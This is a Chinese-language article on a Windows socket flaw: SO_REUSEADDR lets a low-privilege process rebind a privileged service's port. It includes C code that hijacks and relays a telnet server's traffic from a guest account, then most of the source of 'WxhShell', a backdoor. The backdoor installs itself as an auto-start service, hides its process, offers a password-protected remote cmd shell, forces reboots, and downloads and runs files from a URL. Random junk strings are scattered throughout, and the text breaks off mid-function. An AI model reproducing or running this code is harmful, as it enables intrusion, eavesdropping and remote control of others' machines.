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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,{{#a*nd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6Z&u ]osx. saddr.sin_family = AF_INET; 1%spzkE 3P 6UW:l|}4#2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9Ue7
~"= uR:=V9O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Yi&-m} m
io1kDq< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 twtkH~`"Q O5qW*r' 这意味着什么?意味着可以进行如下的攻击: %x}&=zx0*1 2zKo 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1<a@ p} y=9Dxst"V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o)#q9Vk%b Seq]NkgY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i#RElH P}hY{y' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Z.:<TrN Q^lQi\[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kOAY@a UXwB$@8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B)rr7B PW*;S p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VX;zZ`BJ )
\-96 xd #include cophAP #include HkdN=q #include au~] #include -VWCD,c DWORD WINAPI ClientThread(LPVOID lpParam); =_8
UZk. int main() _,_8X7
{ X
a"XB WORD wVersionRequested; lI4J=8O0 DWORD ret; Q+b.-iWR WSADATA wsaData; >+:r ' BOOL val; 6Z(*cf/s SOCKADDR_IN saddr; `10X5V@hP SOCKADDR_IN scaddr; E kBae= int err; ]-um\A4f SOCKET s; 3w/( /|0 SOCKET sc; crd|2bjp+ int caddsize; {_zV5V HANDLE mt; [`.3f'")j DWORD tid; S<eZ d./p6 wVersionRequested = MAKEWORD( 2, 2 ); }XCR+uAz err = WSAStartup( wVersionRequested, &wsaData ); S5~`T7Ra if ( err != 0 ) { ,!6M*| printf("error!WSAStartup failed!\n"); R:w%2Y return -1; ImWXzg3@{ } EO#gUv saddr.sin_family = AF_INET; Fn86E dFM b/sOfQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ecxj9h,S {sC@N![ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T-9k<,>? saddr.sin_port = htons(23); |N:MZ#}; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dD/t_ {h { PwW^y#96 printf("error!socket failed!\n"); A&<?
return -1; )=jT_?9b
} 908ayfVI val = TRUE; e'1 ^+*bU //SO_REUSEADDR选项就是可以实现端口重绑定的 v"u7~Dw#1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5v|H<wPp { })20Zld}a printf("error!setsockopt failed!\n");
3L%WVCB return -1; ,IIZXl@ } i8Fs0U4" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5<89Af&&K8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cMD RWh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ia=_78MgZ <S]KaDu^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) umQi { ?}vzLgp ret=GetLastError(); Z)mX,=p printf("error!bind failed!\n"); v9%nau4 return -1; yp=|7 } pC*BA<?Rg listen(s,2); ^ED"rMI while(1) Bk@)b`WR { 2m_'z caddsize = sizeof(scaddr); 1"}B]5! //接受连接请求 br0u@G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xC-BqVJ%_T if(sc!=INVALID_SOCKET) BwC<rOU { |*:tyP%m^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5k69F if(mt==NULL) RCI4~q { aH%ZetLNJ printf("Thread Creat Failed!\n"); E;6~RM: break; hG=k1T%= } [UM Lx } ?VB#GJ0M9 CloseHandle(mt); eGLO!DdxZ } U,PZMz`2j closesocket(s); k, f)2< WSACleanup(); <EtUnj:qK8 return 0; ]nUR;8 } cTM$ZNin DWORD WINAPI ClientThread(LPVOID lpParam) vYDSu.C@a { &vCeLh:s SOCKET ss = (SOCKET)lpParam; ]/Vh{d|I& SOCKET sc; )s7bJjT0=X unsigned char buf[4096]; V1<ow'^i SOCKADDR_IN saddr; aD2*.ln>< long num; tM)Iir*U# DWORD val; QU.0Elw DWORD ret; OB~C} '^$ //如果是隐藏端口应用的话,可以在此处加一些判断 P/ci/y_1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 D?^540,b saddr.sin_family = AF_INET; wa!zv^;N* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P+h6!=nD7 saddr.sin_port = htons(23); ^|#>zCt^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S?L#N { Go 1(@ printf("error!socket failed!\n"); eJ)1K return -1; Jen%}\ } .U9R># val = 100; M#xQW`-` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Ao6y.S { .d~\Ysve ret = GetLastError(); )GVBE%!WEd return -1; uFZ~ } ~Rs#|JWB2V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) il12T`a { #$FrFU;ZR ret = GetLastError(); _#!U"hkH return -1; <FUon } D*\v0=P'? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R:~(Z? { thuRNYv< printf("error!socket connect failed!\n"); &|b4\uj9 closesocket(sc); )CLf;@1 closesocket(ss); y;nvR6) return -1; QdDObqVdy } 9~c~E/4! while(1) 1"?]= j: {
:Hk_8J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $2KK:{VX //如果是嗅探内容的话,可以再此处进行内容分析和记录 >GXXjAIu/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bKMWWJf*' num = recv(ss,buf,4096,0); y7z( &M@ if(num>0) .k@^KY send(sc,buf,num,0); 5;mRGY else if(num==0) KY$k`f6?P break; '. (~ num = recv(sc,buf,4096,0); H<`\bej, if(num>0) &vkjmiAS send(ss,buf,num,0); ;L~p|sF else if(num==0) }3Y
<$YL"R break; _A{+H^, } ZQAO"huk] closesocket(ss); ,[isib3 closesocket(sc); 6YmP[% return 0 ; T|;@T^ } {~N3D4n^ %<}<'V0 fW(/Loh ========================================================== *KJB>W%@uM E9+ HS 下边附上一个代码,,WXhSHELL sWHyL(C@ Izn
T|l^ ========================================================== ~~nqU pK?v JJ?I>S N! #include "stdafx.h" Zw{MgoJ0Z u5Up&QE!>q #include <stdio.h> c~imE% #include <string.h> 4w4^yQE #include <windows.h> pu9^e4B9 #include <winsock2.h> ~y
/!fnv #include <winsvc.h> w^q7n #include <urlmon.h> *geN[[ 0[xpEiDx #pragma comment (lib, "Ws2_32.lib") =']3(6* #pragma comment (lib, "urlmon.lib") 8{0k0 &x qMP1k7uG) #define MAX_USER 100 // 最大客户端连接数 8(f:U@BS #define BUF_SOCK 200 // sock buffer BRS#Fl: #define KEY_BUFF 255 // 输入 buffer wL}l`fRB mwC=o5O #define REBOOT 0 // 重启 -Z0+oU(?YE #define SHUTDOWN 1 // 关机 }Fa%%} < zOi4v0 #define DEF_PORT 5000 // 监听端口 pOT7;-#n 9Uf j #define REG_LEN 16 // 注册表键长度 `~#<&w #define SVC_LEN 80 // NT服务名长度 wN=;i# d2N:^vvvR // 从dll定义API upy\gkpnGO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IH9.F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2%B'3>a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o}$1Ay*q` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -/P\"c x/
*-P
b-_ // wxhshell配置信息 o0bM=njok struct WSCFG { ?6^|ZtB int ws_port; // 监听端口 %NHkDa! char ws_passstr[REG_LEN]; // 口令 lIRlMLuG int ws_autoins; // 安装标记, 1=yes 0=no NZ0O,}m char ws_regname[REG_LEN]; // 注册表键名 =u[k1s? char ws_svcname[REG_LEN]; // 服务名 Pe;Y1Qq>> char ws_svcdisp[SVC_LEN]; // 服务显示名 a^U~0i@[S char ws_svcdesc[SVC_LEN]; // 服务描述信息 u #w29Pm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _)T5lEFl= int ws_downexe; // 下载执行标记, 1=yes 0=no Z?5V4F:f char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r SkUSe6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LJ)5W @#g<IBG=* }; 6( CDNMzj HlvuW(,x= // default Wxhshell configuration aJ") <_+ struct WSCFG wscfg={DEF_PORT, h:Gu`+D>W "xuhuanlingzhe", c2t=_aAIPQ 1, xG&)1sT#-\ "Wxhshell", R_XR4)(< "Wxhshell", ",7Q "WxhShell Service", d?`ny#,GB "Wrsky Windows CmdShell Service", 1i[\T "Please Input Your Password: ", 9RN-suE[ 1, I M-L'9 " http://www.wrsky.com/wxhshell.exe", (8.Z..PH "Wxhshell.exe" Qham^ }; _8Kx6s% (q+)'H%iK // 消息定义模块 ^?7`;/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h3LE>}6D char *msg_ws_prompt="\n\r? for help\n\r#>"; @=}YTtq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; #wL char *msg_ws_ext="\n\rExit."; g35DV6 char *msg_ws_end="\n\rQuit."; ]QzGE8jp* char *msg_ws_boot="\n\rReboot..."; TT=b79k char *msg_ws_poff="\n\rShutdown..."; ^6_e=jIN
char *msg_ws_down="\n\rSave to "; 8"sb; O+y-}7YX char *msg_ws_err="\n\rErr!"; ~HOy:1QhE= char *msg_ws_ok="\n\rOK!"; ,lZB96r0 JSW^dw& char ExeFile[MAX_PATH]; sCR67/ int nUser = 0; GGnpjwXeH HANDLE handles[MAX_USER]; ;\f gF@ int OsIsNt; $STaQ28C $2W%2rZ SERVICE_STATUS serviceStatus; +=O5YR!{ SERVICE_STATUS_HANDLE hServiceStatusHandle; 7;KwLT 9 anXc| // 函数声明 /YZr~|65 int Install(void); E\Rhz]G( int Uninstall(void); x>Zn?YR," int DownloadFile(char *sURL, SOCKET wsh); NR`C(^} int Boot(int flag); {zMU#=EC void HideProc(void); "?V0$-DR int GetOsVer(void); |&RU/ a int Wxhshell(SOCKET wsl); N<~t3/Nm void TalkWithClient(void *cs); 28 ?\ int CmdShell(SOCKET sock); &l!4mxwr` int StartFromService(void); <YdE1{fm int StartWxhshell(LPSTR lpCmdLine); z^'gx@YD*v S:h{2{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~`aa5;Ab_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Y&)4+ckL :Zlwp6 // 数据结构和表定义 gIjh:_ Pz SERVICE_TABLE_ENTRY DispatchTable[] = 0*f)=Q' { ~ _/(t'9 {wscfg.ws_svcname, NTServiceMain}, vEJWFoeEFm {NULL, NULL} wne,e's} }; gt@m?w( wOU_*uY@6' // 自我安装 f&Gt| int Install(void) <g"{Wv: h { &litXIvT> char svExeFile[MAX_PATH]; E7rDa1 HKEY key; 'uBu6G strcpy(svExeFile,ExeFile); 'Gj3:-xqL M/b Sud?@% // 如果是win9x系统,修改注册表设为自启动 8Vr%n2M if(!OsIsNt) { F1*>y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d3\qKL!~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UtoT RegCloseKey(key); Te"ioU?. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?g_3 [Fk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'TTLo|@"- RegCloseKey(key); "{A(x
}'Y4 return 0; {5Q!Y&N.% } =*oJEy" } aC]$k'71 } 1KU!
tL else { AP3a;4Z# 1I%w?^sm_ // 如果是NT以上系统,安装为系统服务 O%\*@4zM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )*u8/U if (schSCManager!=0) &h}#HS>l { W_JlOc!y SC_HANDLE schService = CreateService tR#OjkvX ( sU=H&D99 schSCManager, Kew@&j~ wscfg.ws_svcname, p/ ,=OaVU wscfg.ws_svcdisp, dB{Q"! SERVICE_ALL_ACCESS, 8'[~2/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,V7nzhA2 SERVICE_AUTO_START, Z3Og=XHR SERVICE_ERROR_NORMAL, l5~os> svExeFile, ko!)s NULL, !Mx$A$Oj> NULL, Q-(zwAaE NULL, pJ>P[ NULL, F/]2G^- NULL |NlO7aQ>2H ); 91/Q9xY if (schService!=0) \P[Y`LYL { kj Jn2c:y CloseServiceHandle(schService); ::`HQ@^ CloseServiceHandle(schSCManager); G0Iw-vf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [DuttFX^x strcat(svExeFile,wscfg.ws_svcname); -uS!\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IYv`IS" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \$K20) RegCloseKey(key); 5=-Q4d return 0; IW5,7. } -abt:or } KR}?H#% CloseServiceHandle(schSCManager); Zpt\p7WQ } 6bg
;q(*7 } 7g^]:3f! aj='b.2) return 1; 8\^R~K`sY } -OV&Md:~ 1C+13LE$U // 自我卸载 iqsCB%;5 int Uninstall(void) A`%k:@ { g&L!1<,
p HKEY key; hgG9m[?K r `=I if(!OsIsNt) { #\{l"- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'ms-*c&
RegDeleteValue(key,wscfg.ws_regname); VD*6g%p RegCloseKey(key); yX>K/68 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <_L,t 1H{ RegDeleteValue(key,wscfg.ws_regname); )rU RegCloseKey(key); u[;\y|75 return 0; M)Z7k/=<P } fUWG*o9 } XSB"{H>& } d0!5j else { au(D66VO g{)dP!} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vr)S{k-Q if (schSCManager!=0) KAJi { Evq IcZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #P9~}JB3, if (schService!=0) 9.M4o[ { HVCe;eI if(DeleteService(schService)!=0) { /U*C\ xMm CloseServiceHandle(schService); 9<?M8_ CloseServiceHandle(schSCManager); EWhK0Vej= return 0; ($MlX BI } }"H,h)T CloseServiceHandle(schService);
Mx ?d } ;4\2.*s CloseServiceHandle(schSCManager); Z clQ } 79j+vH!zh } !*&V-4 ?p{Nwl# return 1; FX&~\kmV'j } &BLJT9Frx EJ.SW5 // 从指定url下载文件 76Cl\rV int DownloadFile(char *sURL, SOCKET wsh) :S83vE81WK { Ta0|+IYk< HRESULT hr; ?!:ha;n char seps[]= "/"; +o{R _ char *token; M/'sl; char *file; U}[d_f char myURL[MAX_PATH]; bH9kj/q\b char myFILE[MAX_PATH]; |s(FLF - xt*
3'v strcpy(myURL,sURL); P1 8hxXE3 token=strtok(myURL,seps); -0 a/$h while(token!=NULL) f}ji?p { \)904W5R file=token; M)+H{5bt token=strtok(NULL,seps); /Iy]DU8 } SM#]H-3 i>A s;* GetCurrentDirectory(MAX_PATH,myFILE); I*{nP)^9 strcat(myFILE, "\\"); dL 1tl strcat(myFILE, file); 4[r0G+ send(wsh,myFILE,strlen(myFILE),0); y2dCEmhY send(wsh,"...",3,0); kCF>nt@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ ({nj` if(hr==S_OK) %N6A+5H return 0; ~
'cmSiz- else xh,qNnGGi return 1; \ a<h/4#| k,6f
} jD]~ AwRJ 6I4\q.^qw // 系统电源模块 ]@c+]{ int Boot(int flag) ^ogt+6c { r'r%w#=`t HANDLE hToken; 4jMFr, TOKEN_PRIVILEGES tkp; rQs)O<jl -HbC!wv if(OsIsNt) { [A~xy'T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]NY~2jmX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .t-4o<7 3 tkp.PrivilegeCount = 1; TDKki(o=~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BLdvyVFx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]i)c{y if(flag==REBOOT) { %6,SKg p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &X ):4 return 0; -H@:* } B\=8_z else { P>C~
i:4n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .Iw AK/QS return 0; drP=A~?&: } %QGC8Tz } m+R[#GE8# else { gQg"j) if(flag==REBOOT) { K~{$oD7! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AaOuL,l return 0; F?*-4I- } ,/%=sux else { =pO^7g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =F~S?y return 0; m|n%$$S& } 7M!I8C0!aO } HxV=F66"
HY*Kb+[ return 1; Y@vTaE^w3 } Nq[uoaT /QWvW=F2< // win9x进程隐藏模块 C*_C;6.~Y void HideProc(void) 5E;qM|Ns { .CABH,Po: VcO0sa f` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SI-q C if ( hKernel != NULL ) )e+>w=t { ^z IW+: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &\WSQmtto ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O!#g<`r{K FreeLibrary(hKernel); +H-6e P } 9G#n 0&wRJ DDP/DD;n}r return; xd?f2=dd~h } W)2p@j59A b9J_1Gl] // 获取操作系统版本 R6Km\N int GetOsVer(void) m@2QnA[4 { KNvZm;Q6 OSVERSIONINFO winfo; gnOt+W8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^A$Zw+P GetVersionEx(&winfo); 5|j<`()H
: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U0y% u return 1; Eu d*_>| else /wEhVR`= return 0; Ys!82M$g } ^e _hLX\SW x7&B$.>3 // 客户端句柄模块 @s;;O\ int Wxhshell(SOCKET wsl) H?vdr:WlTN { !mJ"gg SOCKET wsh; v!6
c0a struct sockaddr_in client; P6-s0]-g DWORD myID; DS(}<HK{ 8B
K(4?gC while(nUser<MAX_USER) qFCOUl { xw,IJ/E$1 int nSize=sizeof(client); .+3g*Dv{& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?W?c1> if(wsh==INVALID_SOCKET) return 1; '4+
ur` -hGk?_Nqa/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6 l|DU7i if(handles[nUser]==0) Iby\$~V closesocket(wsh); &tLgG4pd else _?m(V=z> nUser++; Eex~xiiV } x:NY\._ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |^"1{7) SumF
2 return 0; eCDev} } D&&9^t9S A Ru2W1g // 关闭 socket 2/\r)$
2i void CloseIt(SOCKET wsh) ArI2wM/v { ~F|+o}a`
closesocket(wsh); y1eWpPJa nUser--; ~*&H$6NJS ExitThread(0); Ju!]&G8 } <e=#F-DE # Yj 1w // 客户端请求句柄 D09Sg%w void TalkWithClient(void *cs) EPI4!3] { #C74z$ Z*]9E^ SOCKET wsh=(SOCKET)cs; vAF
"n char pwd[SVC_LEN]; ,F8 Yn5h char cmd[KEY_BUFF]; K( c\wr\6 char chr[1]; ,i?nWlh+ int i,j; D[[|")Fn r"gJX while (nUser < MAX_USER) { ^B.5GK)! p?%y82E if(wscfg.ws_passstr) { c \J:![x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y1W1=Uc uk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 36&e.3/# //ZeroMemory(pwd,KEY_BUFF); F4-$~v@ i=0; K*vt;L while(i<SVC_LEN) { TTX5EDCrC ok"k*?Ov // 设置超时 Y|F9}hj( fd_set FdRead; I#Y22&G1 struct timeval TimeOut; #?aPisV
X> FD_ZERO(&FdRead); mUAi4N FD_SET(wsh,&FdRead); e\`&p TimeOut.tv_sec=8; MC&` oX[ TimeOut.tv_usec=0; Tj`,Z5vy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5K1)1E/Fu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bivuqKA 4<w.8rR:A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JQ_sUYh~3 pwd =chr[0]; #>("CAB02T if(chr[0]==0xd || chr[0]==0xa) { ~|DUt pwd=0; UawyDs break; :gv{F} ## } >UTBO|95y
i++; #K_ii)n } [B*x-R[FI HTv2# // 如果是非法用户,关闭 socket vFzRg5lH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^qvZXb } 7dTkp!'X- Fbr;{T
. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GE:vp>>}` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2. NN8PPD" DZ3wCLQtK while(1) { V# }!-Xj @p9i ZeroMemory(cmd,KEY_BUFF); )Yh+c=6
? gS!:+G% // 自动支持客户端 telnet标准 t9GR69v:? j=0; ^,lIK+#Elz while(j<KEY_BUFF) { TPQ%L@^L+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q",t3i4 cmd[j]=chr[0]; ^KnU4sD if(chr[0]==0xa || chr[0]==0xd) { .O5Z8 p cmd[j]=0; pGP7nw_g break; jh?H.;** } Y#ap* j++; 3V+] 9; } wy<S; ihhDO mUto // 下载文件 U|H=Y"pL if(strstr(cmd,"http://")) { 6##_%PO<m send(wsh,msg_ws_down,strlen(msg_ws_down),0); /e5O"@ if(DownloadFile(cmd,wsh)) :[.vM send(wsh,msg_ws_err,strlen(msg_ws_err),0); IEL%!RFG else ;RZ ) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Di,^% } P8OaoPj else { M~Tuj1? p}}R-D&K switch(cmd[0]) { x xHY+(m '|6]_ // 帮助 @(EAq<5{ case '?': { TNT4<5Ol6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h6L&\~pf break; D%[mWc@1I } r(>@qGN // 安装 o)M}!MT case 'i': { >jDDQ@ if(Install()) kYE9M8s; send(wsh,msg_ws_err,strlen(msg_ws_err),0); >4x(e\B else { T/[cu< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pa>AWOG' break; \i>?q } Fk&c=V;SU // 卸载 \Gef \ case 'r': { /*(Kr'c if(Uninstall()) hk;5w{t}} send(wsh,msg_ws_err,strlen(msg_ws_err),0); v4a8}G else +qN>.y!Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r5S[-`s; break; '0;l]/i. } ^ox=HNV // 显示 wxhshell 所在路径 /cUO$m o case 'p': { x;O[c3I char svExeFile[MAX_PATH]; q^@Q"J =v strcpy(svExeFile,"\n\r"); 7(1|xYCx$ strcat(svExeFile,ExeFile); C#.->\ send(wsh,svExeFile,strlen(svExeFile),0); !NK1MU?T) break; ( ' (K9@} } C$=%!wf // 重启 ~f2z]JLr: case 'b': { w?PkO p send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qab>|eSm if(Boot(REBOOT)) Ve$o}h- send(wsh,msg_ws_err,strlen(msg_ws_err),0); J'6PmPzY| else { Gm&Za,4%4 closesocket(wsh); s2p\]|5 ExitThread(0); q~F| } 5;Czu(iH$ break; nQZx=JK } +%z>H"J. // 关机 G{~J|{t\yz case 'd': { (Bb5?fw send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EmWn%eMN if(Boot(SHUTDOWN)) AG
nxYV"p send(wsh,msg_ws_err,strlen(msg_ws_err),0); f3l&3hC else { P7bMI e closesocket(wsh); Bpo4?nCl} ExitThread(0); 5:[0z5Hww } eI}aQ]$ED break; e-/&$Qq } ](]i 'fE> // 获取shell [-1^-bb case 's': { @}u*|P* CmdShell(wsh); h%na>G closesocket(wsh); AEI>\Y ExitThread(0); oN~&_*FE break; jxJ8(sr$ } >{n,L6_t // 退出 VOsRAn/N case 'x': { IxN9&xa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XAKs0*J> CloseIt(wsh); h]&GLb&<? break; wD}l$& + } .&iawz // 离开 a#(?P.6 case 'q': { ?/E~/;+7= send(wsh,msg_ws_end,strlen(msg_ws_end),0); |fJ};RLI" closesocket(wsh); Jl8H|<g~/ WSACleanup(); m,_Z6=I: exit(1); #4NaL break; 8P\G} } Pl06:g2I } 6dr%;Wp } PcMD])Z{G 0cH`;!MZ // 提示信息 St9?RD{4; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !x=~g"d<& } QD&`^(X1p } w$iX.2|9%u @Sn(lnlB return; mfn,Gjt3O } %)8}X>xq =_*Zn(>t` // shell模块句柄 Lnl(2xD int CmdShell(SOCKET sock) KhR8 1\ { @l5"nBs<_: STARTUPINFO si; (UD@q>c ZeroMemory(&si,sizeof(si)); 9MJG;+B~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :uS\3toj si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :gibfk]C PROCESS_INFORMATION ProcessInfo; /)>3Nq4Zx char cmdline[]="cmd"; Y;M|D'y+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SYJD?&C; return 0; ? pmHFlx } a$OE0zn` X=&ET)8-Y // 自身启动模式 [=q1T3 int StartFromService(void) {*" |#6- { 1W
LXM^4 typedef struct !sP{gi#= { wH&!W~M
DWORD ExitStatus; *I.f1lz%* DWORD PebBaseAddress; ORw,)l DWORD AffinityMask; S!CC
}3zw DWORD BasePriority; WIxy}3_to ULONG UniqueProcessId; e{K 215 ULONG InheritedFromUniqueProcessId; ;7V%#- } PROCESS_BASIC_INFORMATION; >uB#&Q ]y'>=a|T PROCNTQSIP NtQueryInformationProcess; ^A/k)x6 `p-cSxR_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %)W2H^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &)ChQZA "Ac-tzhE HANDLE hProcess; P
